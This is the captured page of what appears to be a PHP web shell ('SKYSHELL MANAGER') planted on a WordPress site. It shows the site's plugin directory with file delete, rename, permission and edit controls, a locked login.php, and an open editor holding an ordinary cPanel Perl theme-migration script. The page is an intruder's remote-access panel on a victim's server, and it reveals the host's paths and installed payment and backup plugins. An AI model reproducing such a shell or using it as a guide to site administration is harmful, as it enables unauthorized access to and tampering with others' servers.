📁
SKYSHELL MANAGER
PHP v8.0.30
Create
Create
Path:
root
/
home
/
godaofbq
/
redlightsquared.com
/
wp-content
/
plugins
/
Name
Size
Perm
Actions
📁
adminify
-
0755
🗑️
🏷️
🔒
📁
adminify-activity-logs
-
0755
🗑️
🏷️
🔒
📁
adminify-pro
-
0755
🗑️
🏷️
🔒
📁
akismet
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration-unlimited-extension
-
0755
🗑️
🏷️
🔒
📁
authorizenet-payment-gateway-for-woocommerce
-
0755
🗑️
🏷️
🔒
📁
backuply
-
0755
🗑️
🏷️
🔒
📁
backuply-pro
-
0755
🗑️
🏷️
🔒
📁
cf7-conditional-fields
-
0755
🗑️
🏷️
🔒
📁
classic-editor
-
0755
🗑️
🏷️
🔒
📁
code-snippets
-
0755
🗑️
🏷️
🔒
📁
contact-form-7
-
0755
🗑️
🏷️
🔒
📁
cookieadmin
-
0755
🗑️
🏷️
🔒
📁
cookieadmin-pro
-
0755
🗑️
🏷️
🔒
📁
crisp
-
0755
🗑️
🏷️
🔒
📁
duplicate-page
-
0755
🗑️
🏷️
🔒
📁
duplicator
-
0755
🗑️
🏷️
🔒
📁
export-media-with-selected-content
-
0755
🗑️
🏷️
🔒
📁
google-listings-and-ads
-
0755
🗑️
🏷️
🔒
📁
google-site-kit
-
0755
🗑️
🏷️
🔒
📁
gosmtp
-
0755
🗑️
🏷️
🔒
📁
gosmtp-pro
-
0755
🗑️
🏷️
🔒
📁
header-footer
-
0755
🗑️
🏷️
🔒
📁
litespeed-cache
-
0755
🗑️
🏷️
🔒
📁
loginizer
-
0755
🗑️
🏷️
🔒
📁
loginizer-security
-
0755
🗑️
🏷️
🔒
📁
loginpress
-
0755
🗑️
🏷️
🔒
📁
masterslider
-
0755
🗑️
🏷️
🔒
📁
oxygen
-
0755
🗑️
🏷️
🔒
📁
oxygen-gutenberg
-
0755
🗑️
🏷️
🔒
📁
oxygen-woocommerce
-
0755
🗑️
🏷️
🔒
📁
pagelayer
-
0755
🗑️
🏷️
🔒
📁
pagelayer-pro
-
0755
🗑️
🏷️
🔒
📁
pdf-embedder
-
0755
🗑️
🏷️
🔒
📁
rolemaster-suite
-
0755
🗑️
🏷️
🔒
📁
siteseo
-
0755
🗑️
🏷️
🔒
📁
siteseo-pro
-
0755
🗑️
🏷️
🔒
📁
speedycache
-
0755
🗑️
🏷️
🔒
📁
speedycache-pro
-
0755
🗑️
🏷️
🔒
📁
wc-external-product-new-tab
-
0755
🗑️
🏷️
🔒
📁
woocommerce
-
0755
🗑️
🏷️
🔒
📁
wordpress-seo
-
0755
🗑️
🏷️
🔒
📁
wp-headers-and-footers
-
0755
🗑️
🏷️
🔒
📄
error_log
1803.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
login.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: migrate_whmtheme_file_to_userdata
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/migrate_whmtheme_file_to_userdata # Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package scripts::migrate_whmtheme_file_to_userdata; =encoding utf-8 =head1 NAME scripts::migrate_whmtheme_file_to_userdata - moves whmtheme to userdata =head1 SYNOPSIS use scripts::migrate_whmtheme_file_to_userdata; scripts::migrate_whmtheme_file_to_userdata::run(); =head1 DESCRIPTION This script moves the whm theme from the .whmtheme file for resellers to the userdata for speed improvement. =cut use strict; use warnings; use parent qw( Cpanel::HelpfulScript ); use Cpanel::Autodie (); use Cpanel::NameVariant (); use Cpanel::PwCache (); use Cpanel::StringFunc::Trim (); use Cpanel::AccessIds::LoadFile (); use Cpanel::Reseller (); use Whostmgr::Theme (); use Cpanel::Config::Users (); use Try::Tiny; __PACKAGE__->new(@ARGV)->run() if !caller; use constant _OPTIONS => (); sub _get_theme_file_path { my ($user) = @_; return Cpanel::PwCache::gethomedir($user) . '/.whmtheme'; } =head2 run Runs the migration script =cut sub run { my ($self) = @_; my $theme_file; my $theme; my %usermap = map { $_ => 1 } Cpanel::Config::Users::getcpusers(); # No need to move root because it will continue to use existing behavior foreach my $reseller ( Cpanel::Reseller::getresellerslist() ) { # ensure user is a cpanel user and not just a system-only reseller next unless $usermap{$reseller}; $theme_file = _get_theme_file_path($reseller); $theme = undef; if ( -e $theme_file ) { $theme = Cpanel::AccessIds::LoadFile::loadfile_as_user( $reseller, $theme_file ); if ( Whostmgr::Theme::is_theme_name_valid($theme) ) { #capturing write action for errors and warning if appropriate try { $theme = Cpanel::StringFunc::Trim::ws_trim($theme); Whostmgr::Theme::set_reseller_theme( $reseller, $theme ); } catch { local $@ = $_; warn; }; } try { _move_old_theme_file($theme_file); } catch { local $@ = $_; warn; }; } } return; } sub _move_old_theme_file { my ($filename) = @_; my $new_filename = Cpanel::NameVariant::find_name_variant( max_length => 254, name => $filename . '.old', test => sub { return !-e $_[0] }, ); return Cpanel::Autodie::rename( $filename, $new_filename ); } 1;
Save